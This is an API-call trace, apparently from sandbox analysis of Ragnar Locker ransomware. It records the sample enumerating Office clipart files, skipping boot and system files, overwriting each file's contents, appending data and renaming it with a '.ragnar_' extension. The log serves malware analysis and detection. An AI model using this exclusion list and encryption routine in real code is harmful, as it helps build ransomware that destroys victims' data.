GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x20 [0082.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.170] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11002) returned 1 [0082.170] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2af1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.171] GetProcessHeap () returned 0x580000 [0082.171] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.171] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.172] VirtualAlloc (lpAddress=0x0, dwSize=0x2afa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.172] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.172] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.172] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2afa, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2afa, lpOverlapped=0x0) returned 1 [0082.173] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.173] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2afa, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.173] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2afa, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2afa, lpOverlapped=0x0) returned 1 [0082.173] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2afa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.173] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.174] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2afa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.174] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.174] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.174] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.174] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.174] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.174] GetProcessHeap () returned 0x580000 [0082.174] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.174] CloseHandle (hObject=0xf4) returned 1 [0082.174] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" [0082.174] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.ragnar_FD7BD9FC" [0082.174] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.175] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaacf8400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaacf8400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1 [0082.175] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.175] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00419_.WMF" | out: lpString1="FD00419_.WMF") returned="FD00419_.WMF" [0082.175] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned=".WMF" [0082.175] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.175] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="autorun.inf") returned 1 [0082.175] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="boot.ini") returned 1 [0082.175] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="bootfont.bin") returned 1 [0082.175] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="bootsect.bak") returned 1 [0082.175] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="bootmgr") returned 1 [0082.175] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="bootmgr.efi") returned 1 [0082.175] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.175] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="desktop.ini") returned 1 [0082.175] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="iconcache.db") returned -1 [0082.175] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="ntldr") returned -1 [0082.175] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="ntuser.dat") returned -1 [0082.175] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.175] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="ntuser.ini") returned -1 [0082.175] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="thumbs.db") returned -1 [0082.175] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.175] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.175] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.175] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.175] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.175] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.175] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x20 [0082.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.176] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16396) returned 1 [0082.176] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4003, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.176] GetProcessHeap () returned 0x580000 [0082.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.176] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.177] VirtualAlloc (lpAddress=0x0, dwSize=0x400c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.178] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.178] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.178] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x400c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x400c, lpOverlapped=0x0) returned 1 [0082.179] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.179] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x400c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.179] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x400c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x400c, lpOverlapped=0x0) returned 1 [0082.179] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x400c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.179] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.179] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x400c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.179] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.179] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.180] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.180] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.180] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.180] GetProcessHeap () returned 0x580000 [0082.180] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.180] CloseHandle (hObject=0xf4) returned 1 [0082.180] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" [0082.180] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.ragnar_FD7BD9FC" [0082.180] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.180] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86d2a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa86d2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1 [0082.180] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.180] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00428_.WMF" | out: lpString1="FD00428_.WMF") returned="FD00428_.WMF" [0082.180] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned=".WMF" [0082.180] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.181] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="autorun.inf") returned 1 [0082.181] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="boot.ini") returned 1 [0082.181] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="bootfont.bin") returned 1 [0082.181] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="bootsect.bak") returned 1 [0082.181] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="bootmgr") returned 1 [0082.181] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="bootmgr.efi") returned 1 [0082.181] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.181] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="desktop.ini") returned 1 [0082.181] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="iconcache.db") returned -1 [0082.181] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="ntldr") returned -1 [0082.181] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="ntuser.dat") returned -1 [0082.181] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.181] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="ntuser.ini") returned -1 [0082.181] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="thumbs.db") returned -1 [0082.181] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.181] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.181] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.181] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.181] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.181] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.181] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x20 [0082.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.181] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4796) returned 1 [0082.181] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.182] GetProcessHeap () returned 0x580000 [0082.182] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.182] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.183] VirtualAlloc (lpAddress=0x0, dwSize=0x12bc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.183] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.183] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.183] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x12bc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x12bc, lpOverlapped=0x0) returned 1 [0082.184] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.184] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.184] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x12bc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x12bc, lpOverlapped=0x0) returned 1 [0082.184] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.184] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.185] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.185] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.185] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.185] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.185] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.185] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.185] GetProcessHeap () returned 0x580000 [0082.185] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.185] CloseHandle (hObject=0xf4) returned 1 [0082.185] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" [0082.185] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.ragnar_FD7BD9FC" [0082.185] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.186] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73bfd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa73bfd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1 [0082.186] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.186] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00435_.WMF" | out: lpString1="FD00435_.WMF") returned="FD00435_.WMF" [0082.186] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned=".WMF" [0082.186] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.186] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="autorun.inf") returned 1 [0082.186] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="boot.ini") returned 1 [0082.186] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="bootfont.bin") returned 1 [0082.186] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="bootsect.bak") returned 1 [0082.186] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="bootmgr") returned 1 [0082.186] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="bootmgr.efi") returned 1 [0082.186] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.186] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="desktop.ini") returned 1 [0082.186] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="iconcache.db") returned -1 [0082.186] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="ntldr") returned -1 [0082.186] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="ntuser.dat") returned -1 [0082.186] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.186] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="ntuser.ini") returned -1 [0082.186] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="thumbs.db") returned -1 [0082.186] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.186] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.186] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.186] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.186] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.186] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.186] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x20 [0082.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.187] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2108) returned 1 [0082.187] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x833, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 